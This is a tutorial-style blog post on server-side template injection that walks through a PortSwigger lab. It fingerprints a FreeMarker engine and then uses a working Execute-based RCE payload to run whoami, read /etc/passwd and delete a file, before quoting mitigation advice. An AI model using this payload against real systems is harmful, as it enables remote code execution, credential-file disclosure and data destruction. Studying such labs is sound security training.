First off I would like to go over what is slowly becoming one of my new favorite attack vectors on a web application. James Kettle, a researcher with BurpSuite, found an amazing webapp vulnerability called Server Side Template Injection or SSTI for short. His definition is brief but concise in the nature of how Template Injection arises:
“This vulnerability typically arises through developers intentionally letting users submit or edit templates – some template engines offer a secure mode for this express purpose. It is far from specific to marketing applications – any features that support advanced user-supplied markup may be vulnerable, including wiki-pages, reviews, and even comments. Template injection can also arise by accident, when user input is simply concatenated directly into a template.”
https://portswigger.net/research/server-side-template-injection
He also did an amazing talk at Black Hat detailing this vulnerability in depth with proof of concept demos. Plus a detailed white paper going into the findings of this vulnerability.
In short there are many template engine frameworks that are vulnerable to this attack. FreeMarker, Twig, Velocity, Thymelead, Smarty, Spring View, ERB, Jade, Tornado, and Handlebars. There is rich documentation on how to exploit all the frameworks on the internet. I will offer some resources at the end.
Firstly, we need to find an application with a vulnerable template engine. I will be using the PortSwigger example page with the vulnerable engine. We need to identify the location of this engine and then identify the correct version based on this flow chart.
Using the curly brackets and a numeral mathematical operation we can begin to iterate through the series of possible IDs for our vulnerable app. I will start with the operation below:
{{7*7}}
Then hit the preview button we see that our numeral operation did not succeed.
Based on this we will make the necessary changes and proceed. We will then try to use this operation:
{7*7}
And again we see it is still a failure. So we have currently enumerated that it is neither a Twig or Jinja2 framework. So let’s add a dollar sign to our code injection and see if we can ID the framework further.
We get a solution to our operation.
Let’s dig a bit further and see if this success can give us a possible framework ID. Adding single quotes to the second 7 gives us an error or blank screen.
Which in this case based off our enumeration is a FreeMarker engine template. So let’s dig around and see if we can use a known RCE to explore the server a big further. We will use the code below to run commands on the system and see if we can find anything interesting.
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“command_here “) }
I would like to understand who the running user is, what os is running on the machine, locate the passwd file, and then finish our objective on the target server.
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“whoami”) }
The underlying user is Carlos
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“uname -a”) }
The OS is Linux running on Amazon Cloud.
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“cat /etc/passwd”) }
<#assign ex=”freemarker.template.utility.Execute”?new()> ${ ex(“rm /home/carlos/morale.txt”) }
SSTI Mitigations
Again I would like to quote James Kettle here due to the thorough understanding on how to safely protect against these attacks:
“If user-supplied templates are a business requirement, how should they be implemented? We have already seen that regexes are not an effective defense, and parser-level sandboxes are error prone. The lowest risk approach is to simply use a trivial template engine such as Mustache, or Python’s Template. MediaWiki has taken the approach of executing users’ code using a sandboxed Lua environment where potentially dangerous modules and functions have been outright removed. This strategy appears to have held up well, given the lack of people compromising Wikipedia. In languages such as Ruby it may be possible to emulate this approach using monkey-patching.
Another, complementary approach is to concede that arbitrary code execution is inevitable and sandbox it inside a locked-down Docker container. Through the use of capability-dropping, read-only filesystems, and kernel hardening it is possible to craft a ‘safe’ environment that is difficult to escape from.”
Additional Resources
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI